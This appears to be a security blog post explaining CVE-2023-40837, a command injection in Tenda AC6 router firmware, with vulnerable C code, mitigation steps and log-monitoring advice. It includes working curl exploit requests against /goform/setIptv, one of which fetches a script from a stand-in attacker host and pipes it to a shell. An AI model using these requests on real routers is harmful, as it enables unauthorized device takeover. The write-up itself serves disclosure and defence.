A recently disclosed vulnerability, CVE-2023-40837, affects Tenda AC6 routers running firmware US_AC6V1.BR_V15.03.05.16_multi_TD01.bin. This security flaw allows unauthenticated attackers to execute arbitrary commands on the router via the device's web interface. The root of the problem lies in the unsafe handling of user-supplied data in the formSetIptv function, which eventually calls a vulnerable internal function, sub_ADD50.
In this post, we'll break down how this vulnerability works, provide a code snippet for educational purposes, and walk through an example exploit. We’ll finish up with mitigation steps and resources for further reading.
1. Where is the Bug?
The Tenda AC6 router has a web administrative interface. One of its features is IPTV configuration, handled by a function called formSetIptv(). This function takes two web form parameters, list and vlanId, directly from the user without properly sanitizing or validating them.
It then passes both fields straight to another function called sub_ADD50, which uses them to build and execute shell commands on the router’s Linux OS. Because input is unchecked, an attacker can inject malicious shell commands into either list or vlanId.
Open up the internal network for remote access.
No authentication is required if the web interface is accessible.
Below is a simplified version of the vulnerable logic in Tenda’s AC6 firmware (C code)
// Vulnerable function in the firmware
void formSetIptv(request *req) {
char *list = getParam(req, "list");
char *vlanId = getParam(req, "vlanId");
if (list && vlanId) {
sub_ADD50(list, vlanId);
}
}
// The dangerous subroutine
void sub_ADD50(char *list, char *vlanId) {
char cmd[256];
// Directly builds and runs a shell command
sprintf(cmd, "somebinary %s %s", list, vlanId);
system(cmd); // Vulnerable call
}
Here, getParam() fetches values from the HTTP request. Because list and vlanId are not filtered, any character—including shell metacharacters like ;, &&, |—is fair game.
1. Finding the Vulnerable Endpoint
The vulnerable endpoint is often /goform/setIptv. It expects POST data containing list and vlanId.
2. Crafting the Malicious Request
An attacker can inject a command such as reboot or something more malicious.
Exploit with curl
curl -X POST \
"http://<ROUTER-IP>/goform/setIptv"; \
-d "list=1;uname -a;#&vlanId=10"
sub_ADD50("1;uname -a;#","10") builds the command
somebinary 1;uname -a;# 10
Ignore everything after the comment symbol #
This way the attacker can run any arbitrary command on the router.
More Malicious Example
curl -X POST \
"http://<ROUTER-IP>/goform/setIptv"; \
-d "list=1;wget http://evil.com/malware.sh -O- | sh;#&vlanId=10"
Downloads and runs a malicious script, potentially opening a backdoor.
References & Resources
1. Original CVE Details: CVE-2023-40837
2. Tenda AC6 Official Product Page
3. Firmware Download (for verification)
4. Exploit Database Writeup (if exists) *(search for Tenda AC6 + CVE-2023-40837)*
5. Firmware Analysis Guide for Beginners
How To Protect Yourself
- Update Firmware: Immediately update to the latest Tenda AC6 firmware if available. If no patched firmware exists, contact Tenda support and demand a fix.
- Restrict Access: Make sure the web management is NOT accessible from the Internet. Limit it to trusted LAN devices.
Network Segmentation: Isolate insecure IoT devices from sensitive parts of your network.
- Monitor Logs: If you know your way around Linux, regularly check your router’s logs for suspicious activity.
Closing Thoughts
CVE-2023-40837 is a high-severity, easy-to-exploit command injection vulnerability in the Tenda AC6 router, due to unsafe string handling in the IPTV configuration process. All it takes is a simple web request with malicious data—a reminder that input validation is critical in any software, especially in devices exposed to the open internet.
If you use a Tenda AC6, take action. Stay safe, and always keep your devices up to date!
Exclusive to this post: If you’re a researcher or network defender, check your logs for unusual POST requests targeting /goform/setIptv and audit all user-supplied parameters sent to your embedded device firmware.
*This post is part of our series on real-world IoT vulnerabilities. Follow for more security breakdowns!*
Timeline
Published on: 08/30/2023 17:15:10 UTC
Last modified on: 09/01/2023 20:23:05 UTC